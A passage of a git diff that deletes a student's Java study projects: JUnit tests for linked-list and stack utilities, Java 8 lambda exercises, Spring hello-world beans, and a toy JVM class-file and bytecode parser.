-	public void testRemoveRange1(){
-		LinkedList list = new LinkedList();
-		for(int i=0;i<10000;i++){
-			list.add(i);
-		}
-//		list.removeRange(200, 900);//0-200=201,901-9999=9099
-		for(int i=201;i<901;i++){
-			list.remove(i);
-		}
-		
-		Assert.assertEquals(9300, list.size());
-	}
-	
-	@Test
-	public void testIntersection(){
-		LinkedList list1 = new LinkedList();
-		list1.add(0);
-		list1.add(1);
-		list1.add(2);
-		list1.add(3);
-		list1.add(5);
-		list1.add(6);
-		
-		LinkedList list2 = new LinkedList();
-		list2.add(1);
-		list2.add(2);
-		list2.add(4);
-		list2.add(5);
-		
-		LinkedList list3 = list1.intersection(list2);
-		
-		Assert.assertEquals("1,2,5", list3.toString());
-	}
-}
diff --git a/group23/1028361767/data-structure/src/test/com/coding/basic/stack/TestStackUtil.java b/group23/1028361767/data-structure/src/test/com/coding/basic/stack/TestStackUtil.java
deleted file mode 100644
index 48a6be9b5f..0000000000
--- a/group23/1028361767/data-structure/src/test/com/coding/basic/stack/TestStackUtil.java
+++ /dev/null
@@ -1,63 +0,0 @@
-package test.com.coding.basic.stack;
-
-import org.junit.Assert;
-import org.junit.Before;
-import org.junit.Test;
-
-import com.coding.basic.stack.Stack;
-import com.coding.basic.stack.StackUtil;
-
-public class TestStackUtil {
-	
-	@Before
-	public void setup(){
-		
-	}
-	
-	@Test
-	public void testReverse(){
-		Stack s = new Stack();
-		s.push(1);
-		s.push(2);
-		s.push(3);
-		s.push(4);
-		s.push(5);
-		StackUtil.reverse(s);
-		Assert.assertEquals("5,4,3,2,1", s.toString());
-	}
-	
-	@Test
-	public void testRemoveObj(){
-		Stack s = new Stack();
-		s.push(1);
-		s.push(2);
-		s.push(3);
-		s.push(4);
-		s.push(5);
-		StackUtil.remove(s, 3);
-		Assert.assertEquals("1,2,4,5", s.toString());
-		StackUtil.remove(s, 6);
-		Assert.assertEquals("1,2,4,5", s.toString());
-	}
-	
-	@Test
-	public void testGetTop(){
-		Stack s = new Stack();
-		s.push(1);
-		s.push(2);
-		s.push(3);
-		s.push(4);
-		s.push(5);
-		Object[] objs = StackUtil.getTop(s, 2);
-		Assert.assertEquals("1,2,3,4,5", s.toString());
-		Assert.assertEquals(2, objs.length);
-		Assert.assertEquals(5, objs[0]);
-		Assert.assertEquals(4, objs[1]);
- 	}
-	
-	@Test
-	public void testIsValidPairs(){
-		Assert.assertEquals(true, StackUtil.isValidPairs("([e{d}{f}])"));
-		Assert.assertEquals(false, StackUtil.isValidPairs("([b{x[]y})"));
-	}
-}
diff --git a/group23/1028361767/java8-function-coding/src/me/practise/chapter2.java b/group23/1028361767/java8-function-coding/src/me/practise/chapter2.java
deleted file mode 100644
index 0782af1510..0000000000
--- a/group23/1028361767/java8-function-coding/src/me/practise/chapter2.java
+++ /dev/null
@@ -1,44 +0,0 @@
-package me.practise;
-
-import java.awt.event.ActionListener;
-import java.util.function.BinaryOperator;
-import java.util.function.Predicate;
-
-public class chapter2 {
-	
-	public static void main(String[] args) {
-		Runnable noArg = () -> System.out.println("runnable with no argument.");
-		Thread thread = new Thread(noArg);
-		thread.start();
-		
-		ActionListener oneArg = event -> System.out.println("actionListener with one argument.");
-		
-		Runnable multiStatement = () -> {
-			System.out.println("Runnable with multi statement.");
-			System.out.println("Hello Java8!");
-		};
-		BinaryOperator<Long> add = (x, y) -> x + y;
-		BinaryOperator<Long> addExplicit = (Long x, Long y) -> x + y;
-		
-		String name = "abc";
-		name = "def";
-		//ActionListener oneArg1 = event -> System.out.println("actionListener with one argument." + name);
-		// 编译无法通过：方法块中使用的变量必须使用final声明或既成事实的final变量，即变成赋值成功后不能再赋值
-		
-		
-		Predicate<Integer> atLeast5 = x -> x > 5;
-		System.out.println(atLeast5.test(6));
-		
-//		BinaryOperator addE = (x,y) -> x + y;//编译不通过
-		BinaryOperator<Long> addLongs = (x,y) -> x + y;
-		
-	}
-	
-	interface IntPred {
-		boolean test(Integer value);
-	}
-	interface A {
-		boolean check(Predicate<Integer> predicate);
-		boolean check(IntPred predicate);
-	}
-}
diff --git a/group23/1028361767/learn-spring/src/practise/chapter1/HelloService.java b/group23/1028361767/learn-spring/src/practise/chapter1/HelloService.java
deleted file mode 100644
index c6d60e339c..0000000000
--- a/group23/1028361767/learn-spring/src/practise/chapter1/HelloService.java
+++ /dev/null
@@ -1,35 +0,0 @@
-package practise.chapter1;
-
-import java.util.List;
-
-public class HelloService {
-	
-	private String target;
-	
-	private List<String> targets;
-	
-	public HelloService(String target){
-		this.target = target;
-	}
-	
-	public String say(){
-		return "hello " + this.target;
-	}
-
-	public String getTarget() {
-		return target;
-	}
-
-	public void setTarget(String target) {
-		this.target = target;
-	}
-
-	public List<String> getTargets() {
-		return targets;
-	}
-
-	public void setTargets(List<String> targets) {
-		this.targets = targets;
-	}
-	
-}
diff --git a/group23/1028361767/learn-spring/src/practise/chapter1/HelloWorldService.java b/group23/1028361767/learn-spring/src/practise/chapter1/HelloWorldService.java
deleted file mode 100644
index 390a7b7e68..0000000000
--- a/group23/1028361767/learn-spring/src/practise/chapter1/HelloWorldService.java
+++ /dev/null
@@ -1,9 +0,0 @@
-package practise.chapter1;
-
-public class HelloWorldService {
-	
-	public String hello(){
-		System.out.println("Hello Spring!");
-		return "hello";
-	}
-}
diff --git a/group23/1028361767/learn-spring/src/test/practise/Test1.java b/group23/1028361767/learn-spring/src/test/practise/Test1.java
deleted file mode 100644
index 7867ac294d..0000000000
--- a/group23/1028361767/learn-spring/src/test/practise/Test1.java
+++ /dev/null
@@ -1,39 +0,0 @@
-package test.practise;
-
-import org.junit.Assert;
-import org.junit.Test;
-import org.springframework.context.ApplicationContext;
-import org.springframework.context.support.ClassPathXmlApplicationContext;
-
-import practise.chapter1.HelloService;
-import practise.chapter1.HelloWorldService;
-
-public class Test1 {
-	
-	ApplicationContext context = new ClassPathXmlApplicationContext("practise/chapter1.xml");
-	
-	@Test
-	public void testHello(){
-		HelloWorldService helloWorldService = context.getBean("helloWorldService", HelloWorldService.class);
-		Assert.assertEquals("hello", helloWorldService.hello());
-		HelloWorldService helloWorldService1 = context.getBean("helloWorldService1", HelloWorldService.class);
-		Assert.assertEquals("hello", helloWorldService1.hello());
-		HelloWorldService helloWorldService2 = context.getBean("helloWorldService2", HelloWorldService.class);
-		Assert.assertEquals("hello", helloWorldService2.hello());
-		String[] alias = context.getAliases("helloWorldService");
-		Assert.assertEquals(2, alias.length);
-		for(String alia : alias){
-			System.out.println(alia);
-		}
-	}
-	
-	@Test
-	public void testSay(){
-		HelloService helloService = context.getBean("helloService", HelloService.class);
-		Assert.assertEquals("hello spring3", helloService.say());
-		for(String target : helloService.getTargets()){
-			System.out.println(target);
-		}
-		Assert.assertEquals(3, helloService.getTargets().size());
-	}
-}
diff --git a/group23/1028361767/mini-jvm/src/com/coderising/jvm/attr/AttributeInfo.java b/group23/1028361767/mini-jvm/src/com/coderising/jvm/attr/AttributeInfo.java
deleted file mode 100644
index 88f60c77f6..0000000000
--- a/group23/1028361767/mini-jvm/src/com/coderising/jvm/attr/AttributeInfo.java
+++ /dev/null
@@ -1,19 +0,0 @@
-package com.coderising.jvm.attr;
-
-public abstract class AttributeInfo {
-	public static final String CODE = "Code";
-	public static final String CONST_VALUE = "ConstantValue";
-	public static final String EXCEPTIONS = "Exceptions";
-	public static final String LINE_NUM_TABLE = "LineNumberTable";
-	public static final String LOCAL_VAR_TABLE = "LocalVariableTable";
-	public static final String STACK_MAP_TABLE = "StackMapTable";
-	int attrNameIndex;				
-	int attrLen ;
-	public AttributeInfo(int attrNameIndex, int attrLen) {
-		
-		this.attrNameIndex = attrNameIndex;
-		this.attrLen = attrLen;
-	}
-	
-	
-}
diff --git a/group23/1028361767/mini-jvm/src/com/coderising/jvm/attr/CodeAttr.java b/group23/1028361767/mini-jvm/src/com/coderising/jvm/attr/CodeAttr.java
deleted file mode 100644
index e5d5e522ee..0000000000
--- a/group23/1028361767/mini-jvm/src/com/coderising/jvm/attr/CodeAttr.java
+++ /dev/null
@@ -1,89 +0,0 @@
-package com.coderising.jvm.attr;
-
-import com.coderising.jvm.clz.ClassFile;
-import com.coderising.jvm.cmd.ByteCodeCommand;
-import com.coderising.jvm.cmd.CommandParser;
-import com.coderising.jvm.constant.ConstantPool;
-import com.coderising.jvm.loader.ByteCodeIterator;
-
-
-public class CodeAttr extends AttributeInfo {
-	private int maxStack ;
-	private int maxLocals ;
-	private int codeLen ;
-	private String code;
-	public String getCode() {
-		return code;
-	}
-
-	private ByteCodeCommand[] cmds ;
-	public ByteCodeCommand[] getCmds() {
-		return cmds;
-	}
-	private LineNumberTable lineNumTable;
-	private LocalVariableTable localVarTable;
-	private StackMapTable stackMapTable;
-	
-	public CodeAttr(int attrNameIndex, int attrLen, int maxStack, int maxLocals, int codeLen, String code, ByteCodeCommand[] cmds) {
-		super(attrNameIndex, attrLen);
-		this.maxStack = maxStack;
-		this.maxLocals = maxLocals;
-		this.codeLen = codeLen;
-		this.code = code;
-		this.cmds = cmds;
-	}
-
-	public void setLineNumberTable(LineNumberTable t) {
-		this.lineNumTable = t;
-	}
-
-	public void setLocalVariableTable(LocalVariableTable t) {
-		this.localVarTable = t;		
-	}
-	
-	public static CodeAttr parse(ClassFile clzFile, ByteCodeIterator iter){
-		int attrNameIndex = iter.nextU2ToInt();
-		int attrLen = iter.nextU4ToInt();
-		int maxStack = iter.nextU2ToInt();
-		int maxLocals = iter.nextU2ToInt();
-		int codeLen = iter.nextU4ToInt();
-
-		String code = iter.nextUxToHexString(codeLen);
-		ByteCodeCommand[] commands = CommandParser.parse(clzFile, code);
-		
-		CodeAttr attr = new CodeAttr(attrNameIndex, attrLen, maxStack, maxLocals, codeLen, code, commands);
-		int expTableLen = iter.nextU2ToInt();
-		if(expTableLen > 0){
-			String expTable = iter.nextUxToHexString(expTableLen);
-			System.out.println("expTable: " + expTable);
-			// TODO 异常表处理
-		}
-		int subAttrCount = iter.nextU2ToInt();
-		ConstantPool pool = clzFile.getConstantPool();
-		for (int i = 1; i <= subAttrCount; i++) {
-			int subAttrNameIndex = iter.nextU2ToInt();
-			String subAttrName = pool.getUTF8String(subAttrNameIndex);
-			iter.back(2);
-			if(AttributeInfo.LINE_NUM_TABLE.equalsIgnoreCase(subAttrName)){
-				attr.setLineNumberTable(LineNumberTable.parse(iter));
-			}else if(AttributeInfo.LOCAL_VAR_TABLE.equalsIgnoreCase(subAttrName)){
-				attr.setLocalVariableTable(LocalVariableTable.parse(iter));
-			}else if(AttributeInfo.STACK_MAP_TABLE.equalsIgnoreCase(subAttrName)){
-				attr.setStackMapTable(StackMapTable.parse(iter));
-			}else{
-				//TODO 
-				throw new RuntimeException("CodeAttr.parse not implement " + subAttrName);
-			}
-		}
-		return attr;
-	}
-	private void setStackMapTable(StackMapTable t) {
-		this.stackMapTable = t;
-		
-	}
-
-	
-	
-	
-	
-}
diff --git a/group23/1028361767/mini-jvm/src/com/coderising/jvm/attr/LineNumberTable.java b/group23/1028361767/mini-jvm/src/com/coderising/jvm/attr/LineNumberTable.java
deleted file mode 100644
index f83202d6c3..0000000000
--- a/group23/1028361767/mini-jvm/src/com/coderising/jvm/attr/LineNumberTable.java
+++ /dev/null
@@ -1,51 +0,0 @@
-package com.coderising.jvm.attr;
-
-import java.util.ArrayList;
-import java.util.List;
-
-import com.coderising.jvm.loader.ByteCodeIterator;
-
-public class LineNumberTable extends AttributeInfo {
-	List<LineNumberItem> items = new ArrayList<LineNumberItem>();
-	
-	private static class LineNumberItem{
-		int startPC;
-		int lineNum;
-		public int getStartPC() {
-			return startPC;
-		}
-		public void setStartPC(int startPC) {
-			this.startPC = startPC;
-		}
-		public int getLineNum() {
-			return lineNum;
-		}
-		public void setLineNum(int lineNum) {
-			this.lineNum = lineNum;
-		}
-	}
-	public void addLineNumberItem(LineNumberItem item){
-		this.items.add(item);
-	}
-	public LineNumberTable(int attrNameIndex, int attrLen) {
-		super(attrNameIndex, attrLen);
-		
-	}
-	
-	public static LineNumberTable parse(ByteCodeIterator iter){
-		int attrNameIndex = iter.nextU2ToInt();
-		int attrLen = iter.nextU4ToInt();
-		LineNumberTable table = new LineNumberTable(attrNameIndex, attrLen);
-		int lineNumberTableLen = iter.nextU2ToInt();
-		for(int i=0;i<lineNumberTableLen;i++){
-			LineNumberItem item = new LineNumberItem();
-			item.setStartPC(iter.nextU2ToInt());
-			item.setLineNum(iter.nextU2ToInt());
-			table.addLineNumberItem(item);
-		}
-		return table;
-	}
-	
-	
-
-}
diff --git a/group23/1028361767/mini-jvm/src/com/coderising/jvm/attr/LocalVariableItem.java b/group23/1028361767/mini-jvm/src/com/coderising/jvm/attr/LocalVariableItem.java
deleted file mode 100644
index 962c3b8bc4..0000000000
--- a/group23/1028361767/mini-jvm/src/com/coderising/jvm/attr/LocalVariableItem.java
+++ /dev/null
@@ -1,39 +0,0 @@
-package com.coderising.jvm.attr;
-
-public class LocalVariableItem {
-	private int startPC;
-	private int length;
-	private int nameIndex;
-	private int descIndex;
-	private int index;
-	public int getStartPC() {
-		return startPC;
-	}
-	public void setStartPC(int startPC) {
-		this.startPC = startPC;
-	}
-	public int getLength() {
-		return length;
-	}
-	public void setLength(int length) {
-		this.length = length;
-	}
-	public int getNameIndex() {
-		return nameIndex;
-	}
-	public void setNameIndex(int nameIndex) {
-		this.nameIndex = nameIndex;
-	}
-	public int getDescIndex() {
-		return descIndex;
-	}
-	public void setDescIndex(int descIndex) {
-		this.descIndex = descIndex;
-	}
-	public int getIndex() {
-		return index;
-	}
-	public void setIndex(int index) {
-		this.index = index;
-	}
-}
diff --git a/group23/1028361767/mini-jvm/src/com/coderising/jvm/attr/LocalVariableTable.java b/group23/1028361767/mini-jvm/src/com/coderising/jvm/attr/LocalVariableTable.java
deleted file mode 100644
index f70535a3dc..0000000000
--- a/group23/1028361767/mini-jvm/src/com/coderising/jvm/attr/LocalVariableTable.java
+++ /dev/null
@@ -1,40 +0,0 @@
-package com.coderising.jvm.attr;
-
-
-import java.util.ArrayList;
-import java.util.List;
-
-import com.coderising.jvm.constant.ConstantPool;
-
-import com.coderising.jvm.loader.ByteCodeIterator;
-
-public class LocalVariableTable extends AttributeInfo{
-
-	List<LocalVariableItem> items = new ArrayList<LocalVariableItem>();
-	
-	public LocalVariableTable(int attrNameIndex, int attrLen) {
-		super(attrNameIndex, attrLen);		
-	}
-	
-	public static LocalVariableTable parse(ByteCodeIterator iter){
-		int attrNameIndex = iter.nextU2ToInt();
-		int attrLen = iter.nextU4ToInt();
-		LocalVariableTable table = new LocalVariableTable(attrNameIndex, attrLen);
-		int localVarLen = iter.nextU2ToInt();
-		for(int i=0;i<localVarLen;i++){
-			LocalVariableItem item = new LocalVariableItem();
-			item.setStartPC(iter.nextU2ToInt());
-			item.setLength(iter.nextU2ToInt());
-			item.setNameIndex(iter.nextU2ToInt());
-			item.setDescIndex(iter.nextU2ToInt());
-			item.setIndex(iter.nextU2ToInt());
-			table.addLocalVariableItem(item);
-		}
-		return table;
-	}
-	private void addLocalVariableItem(LocalVariableItem item) {
-		this.items.add(item);		
-	}
-	
-	
-}
diff --git a/group23/1028361767/mini-jvm/src/com/coderising/jvm/attr/StackMapTable.java b/group23/1028361767/mini-jvm/src/com/coderising/jvm/attr/StackMapTable.java
deleted file mode 100644
index 18f2ad0360..0000000000
--- a/group23/1028361767/mini-jvm/src/com/coderising/jvm/attr/StackMapTable.java
+++ /dev/null
@@ -1,30 +0,0 @@
-package com.coderising.jvm.attr;
-
-
-import com.coderising.jvm.loader.ByteCodeIterator;
-
-public class StackMapTable extends AttributeInfo{
-	
-	private String originalCode;
-
-	public StackMapTable(int attrNameIndex, int attrLen) {
-		super(attrNameIndex, attrLen);		
-	}
-
-	public static StackMapTable parse(ByteCodeIterator iter){
-		int index = iter.nextU2ToInt();
-		int len = iter.nextU4ToInt();
-		StackMapTable t = new StackMapTable(index,len);
-		
-		//后面的StackMapTable太过复杂， 不再处理， 只把原始的代码读进来保存
-		String code = iter.nextUxToHexString(len);
-		t.setOriginalCode(code);
-		
-		return t;
-	}
-
-	private void setOriginalCode(String code) {
-		this.originalCode = code;
-		
-	}
-}
diff --git a/group23/1028361767/mini-jvm/src/com/coderising/jvm/clz/AccessFlag.java b/group23/1028361767/mini-jvm/src/com/coderising/jvm/clz/AccessFlag.java
deleted file mode 100644
index faae056835..0000000000
--- a/group23/1028361767/mini-jvm/src/com/coderising/jvm/clz/AccessFlag.java
+++ /dev/null
@@ -1,25 +0,0 @@
-package com.coderising.jvm.clz;
-
-public class AccessFlag {
-	private int flagValue;
-
-	public AccessFlag(int value) {
-		this.flagValue = value;
-	}
-
-	public int getFlagValue() {
-		return flagValue;
-	}
-
-	public void setFlagValue(int flag) {
-		this.flagValue = flag;
-	}
-	
-	public boolean isPublicClass(){
-		return (this.flagValue & 0x0001) != 0;
-	}
-	public boolean isFinalClass(){
-		return (this.flagValue & 0x0010) != 0;
-	}
-	
-}
\ No newline at end of file
diff --git a/group23/1028361767/mini-jvm/src/com/coderising/jvm/clz/ClassFile.java b/group23/1028361767/mini-jvm/src/com/coderising/jvm/clz/ClassFile.java
deleted file mode 100644
index 471f04d265..0000000000
--- a/group23/1028361767/mini-jvm/src/com/coderising/jvm/clz/ClassFile.java
+++ /dev/null
@@ -1,121 +0,0 @@
-package com.coderising.jvm.clz;
-
-import java.util.ArrayList;
-import java.util.List;
-
-import com.coderising.jvm.constant.ClassInfo;
-import com.coderising.jvm.constant.ConstantPool;
-import com.coderising.jvm.field.Field;
-import com.coderising.jvm.method.Method;
-
-public class ClassFile {
-	
-	private int minorVersion;
-	private int majorVersion;
-	
-	private AccessFlag accessFlag;
-	private ClassIndex clzIndex;
-	private ConstantPool pool;
-	
-	private List<Field> fields = new ArrayList<>();
-	private List<Method> methods = new ArrayList<>();
-	
-	
-	public ConstantPool getPool() {
-		return pool;
-	}
-	public void setPool(ConstantPool pool) {
-		this.pool = pool;
-	}
-	public List<Method> getMethods() {
-		return methods;
-	}
-	public void setMethods(List<Method> methods) {
-		this.methods = methods;
-	}
-	public void setClzIndex(ClassIndex clzIndex) {
-		this.clzIndex = clzIndex;
-	}
-	public ClassIndex getClzIndex() {
-		return clzIndex;
-	}
-	public AccessFlag getAccessFlag() {
-		return accessFlag;
-	}
-	public void setAccessFlag(AccessFlag accessFlag) {
-		this.accessFlag = accessFlag;
-	}
-	
-	
-	
-	public ConstantPool getConstantPool() {		
-		return pool;
-	}
-	public int getMinorVersion() {
-		return minorVersion;
-	}
-	public void setMinorVersion(int minorVersion) {
-		this.minorVersion = minorVersion;
-	}
-	public int getMajorVersion() {
-		return majorVersion;
-	}
-	public void setMajorVersion(int majorVersion) {
-		this.majorVersion = majorVersion;
-	}
-	public void setConstPool(ConstantPool pool) {
-		this.pool = pool;
-		
-	}
-	public void setClassIndex(ClassIndex clzIndex) {
-		this.clzIndex = clzIndex;		
-	}
-	
-	
-	
-	
-	public void print(){
-		
-		if(this.accessFlag.isPublicClass()){
-			System.out.println("Access flag : public  ");
-		}
-		System.out.println("Class Name:"+ getClassName());
-		
-		System.out.println("Super Class Name:"+ getSuperClassName());
-		
-		
-	}
-	
-	public String getClassName(){
-		int thisClassIndex = this.clzIndex.getThisClassIndex();
-		ClassInfo thisClass = (ClassInfo)this.getConstantPool().getConstantInfo(thisClassIndex);
-		return thisClass.getClassName();
-	}
-	public String getSuperClassName(){
-		ClassInfo superClass = (ClassInfo)this.getConstantPool().getConstantInfo(this.clzIndex.getSuperClassIndex());
-		return superClass.getClassName();
-	}
-	public List<Field> getFields() {
-		return fields;
-	}
-	public void setFields(List<Field> fields) {
-		this.fields = fields;
-	}
-	
-	public Method getMethod(String methodName, String paramAndReturnType){
-		for(Method m : this.methods){
-			String mName = this.getConstantPool().getUTF8String(m.getNameIndex());
-			String pAndRT = this.getConstantPool().getUTF8String(m.getDescriptorIndex());
-			if(methodName.equals(mName) 
-					&& paramAndReturnType.equals(pAndRT)){
-				return m;
-			}
-		}
-		
-		return null;
-	}
-	public Method getMainMethod(){
-		
-		return getMethod("main", "([Ljava/lang/String;)V");
-	}
-}
diff --git a/group23/1028361767/mini-jvm/src/com/coderising/jvm/clz/ClassIndex.java b/group23/1028361767/mini-jvm/src/com/coderising/jvm/clz/ClassIndex.java
deleted file mode 100644
index e424f284b3..0000000000
--- a/group23/1028361767/mini-jvm/src/com/coderising/jvm/clz/ClassIndex.java
+++ /dev/null
@@ -1,19 +0,0 @@
-package com.coderising.jvm.clz;
-
-public class ClassIndex {
-	private int thisClassIndex;
-	private int superClassIndex;
-	
-	public int getThisClassIndex() {
-		return thisClassIndex;
-	}
-	public void setThisClassIndex(int thisClassIndex) {
-		this.thisClassIndex = thisClassIndex;
-	}
-	public int getSuperClassIndex() {
-		return superClassIndex;
-	}
-	public void setSuperClassIndex(int superClassIndex) {
-		this.superClassIndex = superClassIndex;
-	}
-}
\ No newline at end of file
diff --git a/group23/1028361767/mini-jvm/src/com/coderising/jvm/cmd/BiPushCmd.java b/group23/1028361767/mini-jvm/src/com/coderising/jvm/cmd/BiPushCmd.java
deleted file mode 100644
index cd0fbd4848..0000000000
--- a/group23/1028361767/mini-jvm/src/com/coderising/jvm/cmd/BiPushCmd.java
+++ /dev/null
@@ -1,23 +0,0 @@
-package com.coderising.jvm.cmd;
-
-import com.coderising.jvm.clz.ClassFile;
-import com.coderising.jvm.constant.ConstantInfo;
-import com.coderising.jvm.constant.ConstantPool;
-
-
-public class BiPushCmd extends OneOperandCmd {
-
-	public BiPushCmd(ClassFile clzFile,String opCode) {
-		super(clzFile,opCode);
-		
-	}
-
-	@Override
-	public String toString(ConstantPool pool) {
-	
-		return this.getOffset()+": "+ this.getOpCode()+" " + this.getReadableCodeText() + " " + this.getOperand();
-	}
-	
-	
-
-}
diff --git a/group23/1028361767/mini-jvm/src/com/coderising/jvm/cmd/ByteCodeCommand.java b/group23/1028361767/mini-jvm/src/com/coderising/jvm/cmd/ByteCodeCommand.java
deleted file mode 100644
index a3abeacc82..0000000000
--- a/group23/1028361767/mini-jvm/src/com/coderising/jvm/cmd/ByteCodeCommand.java
+++ /dev/null
@@ -1,128 +0,0 @@
-package com.coderising.jvm.cmd;
-
-import java.util.HashMap;
-import java.util.Map;
-
-import com.coderising.jvm.clz.ClassFile;
-import com.coderising.jvm.constant.ConstantInfo;
-import com.coderising.jvm.constant.ConstantPool;
-
-
-public abstract class ByteCodeCommand {	
-	
-	String opCode;
-	ClassFile clzFile;	
-	private int offset;
-	
-	private static Map<String,String> codeMap = new HashMap<String,String>();
-	
-	static{
-		codeMap.put("01", "aconst_null");
-		
-		codeMap.put("BB", "new");
-		codeMap.put("37", "lstore");
-		codeMap.put("B7", "invokespecial");
-		codeMap.put("B6", "invokevirtual");
-		codeMap.put("B4", "getfield");
-		codeMap.put("B5", "putfield");
-		codeMap.put("B2", "getstatic");
-		
-		codeMap.put("2A", "aload_0");
-		codeMap.put("2B", "aload_1");
-		codeMap.put("2C", "aload_2");
-		
-		codeMap.put("10", "bipush");
-		codeMap.put("15", "iload");
-		codeMap.put("1A", "iload_0");
-		codeMap.put("1B", "iload_1");
-		codeMap.put("1C", "iload_2");
-		codeMap.put("1D", "iload_3");
-		
-		codeMap.put("25", "fload_3");
-		
-		codeMap.put("1E", "lload_0");
-		
-		codeMap.put("24", "fload_2");
-		codeMap.put("4C", "astore_1");
-		
-		codeMap.put("A2", "if_icmp_ge");
-		codeMap.put("A4", "if_icmple");
-		
-		codeMap.put("A7", "goto");
-		
-		codeMap.put("B1", "return");
-		codeMap.put("AC", "ireturn");
-		codeMap.put("AE", "freturn");
-		
-		codeMap.put("03", "iconst_0");
-		codeMap.put("04", "iconst_1");
-		
-		codeMap.put("3C", "istore_1");
-		codeMap.put("3D", "istore_2");
-		
-		codeMap.put("59", "dup");
-		
-		codeMap.put("60", "iadd");
-		codeMap.put("84", "iinc");
-		
-		codeMap.put("12", "ldc");
-	}
-	
-	
-
-	
-
-	protected ByteCodeCommand(ClassFile clzFile, String opCode){
-		this.clzFile = clzFile;
-		this.opCode = opCode;
-	}
-	
-	protected ClassFile getClassFile() {
-		return clzFile;
-	}
-	
-	public int getOffset() {
-		return offset;
-	}
-
-	public void setOffset(int offset) {
-		this.offset = offset;
-	}
-	protected ConstantInfo getConstantInfo(int index){
-		return this.getClassFile().getConstantPool().getConstantInfo(index);
-	}
-	
-	protected ConstantPool getConstantPool(){
-		return this.getClassFile().getConstantPool();
-	}
-	
-	
-	
-	public String getOpCode() {
-		return opCode;
-	}
-
-	public abstract int getLength();
-	
-	
-	
-	
-	public String toString(){
-		
-		StringBuffer buffer = new StringBuffer();
-		buffer.append(this.opCode);
-		
-		return buffer.toString();
-	}
-	public abstract String toString(ConstantPool pool);
-	
-	public String getReadableCodeText(){
-		String txt = codeMap.get(opCode);
-		if(txt == null){
-			return opCode;
-		}
-		return txt;
-	}
-	
-	//public abstract void execute(StackFrame frame,FrameResult result);
-}
diff --git a/group23/1028361767/mini-jvm/src/com/coderising/jvm/cmd/CommandParser.java b/group23/1028361767/mini-jvm/src/com/coderising/jvm/cmd/CommandParser.java
deleted file mode 100644
index fca703c59a..0000000000
--- a/group23/1028361767/mini-jvm/src/com/coderising/jvm/cmd/CommandParser.java
+++ /dev/null
@@ -1,138 +0,0 @@
-package com.coderising.jvm.cmd;
-
-import java.util.ArrayList;
-import java.util.List;
-
-import com.coderising.jvm.clz.ClassFile;
-
-public class CommandParser {
-	
-	public static final String aconst_null = "01";
-	public static final String new_object = "BB";
-	public static final String lstore = "37";
-	public static final String invokespecial = "B7";
-	public static final String invokevirtual = "B6";
-	public static final String getfield = "B4";
-	public static final String putfield = "B5";
-	public static final String getstatic = "B2";
-	public static final String ldc = "12";
-	public static final String dup = "59";
-	public static final String bipush = "10";
-	public static final String aload_0 = "2A";
-	public static final String aload_1 = "2B";
-	public static final String aload_2 = "2C";
-	public static final String iload = "15";
-	public static final String iload_1 = "1B";
-	public static final String iload_2 = "1C";
-	public static final String iload_3 = "1D";
-	public static final String fload_3 = "25";
-
-	public static final String voidreturn = "B1";
-	public static final String ireturn = "AC";
-	public static final String freturn = "AE";
-
-	public static final String astore_1 = "4C";
-	public static final String if_icmp_ge = "A2";
-	public static final String if_icmple = "A4";
-	public static final String goto_no_condition = "A7";
-	public static final String iconst_0 = "03";
-	public static final String iconst_1 = "04";
-	public static final String istore_1 = "3C";
-	public static final String istore_2 = "3D";
-	public static final String iadd = "60";
-	public static final String iinc = "84";
-
-	public static ByteCodeCommand[] parse(ClassFile clzFile, String codes) {
-		List<ByteCodeCommand> cmds = new ArrayList<>();
-		CommandIterator iter = new CommandIterator(codes);
-		while(iter.hasNext()){
-			String opCode = iter.next2CharAsString().toUpperCase();
-			if(new_object.equals(opCode)){
-				NewObjectCmd newObjCmd = new NewObjectCmd(clzFile, opCode);
-				newObjCmd.setOprand1(iter.next2CharAsInt());
-				newObjCmd.setOprand2(iter.next2CharAsInt());
-				cmds.add(newObjCmd);
-			}else if(getfield.equals(opCode)){
-				GetFieldCmd getFieldCmd = new GetFieldCmd(clzFile, opCode);
-				getFieldCmd.setOprand1(iter.next2CharAsInt());
-				getFieldCmd.setOprand2(iter.next2CharAsInt());
-				cmds.add(getFieldCmd);
-			}else if(getstatic.equals(opCode)){
-				GetStaticFieldCmd getStaticFieldCmd = new GetStaticFieldCmd(clzFile, opCode);
-				getStaticFieldCmd.setOprand1(iter.next2CharAsInt());
-				getStaticFieldCmd.setOprand2(iter.next2CharAsInt());
-				cmds.add(getStaticFieldCmd);
-			}else if(putfield.equals(opCode)){
-				PutFieldCmd putFieldCmd = new PutFieldCmd(clzFile, opCode);
-				putFieldCmd.setOprand1(iter.next2CharAsInt());
-				putFieldCmd.setOprand2(iter.next2CharAsInt());
-				cmds.add(putFieldCmd);
-			}else if(invokevirtual.equals(opCode)){
-				InvokeVirtualCmd invokeVirtualCmd = new InvokeVirtualCmd(clzFile, opCode);
-				invokeVirtualCmd.setOprand1(iter.next2CharAsInt());
-				invokeVirtualCmd.setOprand2(iter.next2CharAsInt());
-				cmds.add(invokeVirtualCmd);
-			}else if(invokespecial.equals(opCode)){
-				InvokeSpecialCmd invokeSpecialCmd = new InvokeSpecialCmd(clzFile, opCode);
-				invokeSpecialCmd.setOprand1(iter.next2CharAsInt());
-				invokeSpecialCmd.setOprand2(iter.next2CharAsInt());
-				cmds.add(invokeSpecialCmd);
-			}else if(ldc.equals(opCode)){
-				LdcCmd ldcCmd = new LdcCmd(clzFile, opCode);
-				ldcCmd.setOperand(iter.next2CharAsInt());
-				cmds.add(ldcCmd);
-			}else if(bipush.equals(opCode)){
-				BiPushCmd biPushCmd = new BiPushCmd(clzFile, opCode);
-				biPushCmd.setOperand(iter.next2CharAsInt());
-				cmds.add(biPushCmd);
-			}else if(dup.equals(opCode) || aload_0.equals(opCode)
-				|| aload_1.equals(opCode) || aload_2.equals(opCode)
-				|| astore_1.equals(opCode) || voidreturn.equals(opCode)
-				|| iload.equals(opCode) || iload_1.equals(opCode)
-				|| iload_2.equals(opCode) || iload_3.equals(opCode)){
-				NoOperandCmd noOpCmd = new NoOperandCmd(clzFile, opCode);
-				cmds.add(noOpCmd);
-			}else{
-				throw new RuntimeException("cmd " + opCode + " has not bean implemented yet.");
-			}
-		}
-		calcuateOffset(cmds);
-		ByteCodeCommand[] byteCodeCmds = new ByteCodeCommand[cmds.size()];
-		return cmds.toArray(byteCodeCmds);
-	}
-
-	private static void calcuateOffset(List<ByteCodeCommand> cmds) {
-
-		int offset = 0;
-		for (ByteCodeCommand cmd : cmds) {
-			cmd.setOffset(offset);
-			offset += cmd.getLength();
-		}
-
-	}
-
-	private static class CommandIterator {
-		String codes = null;
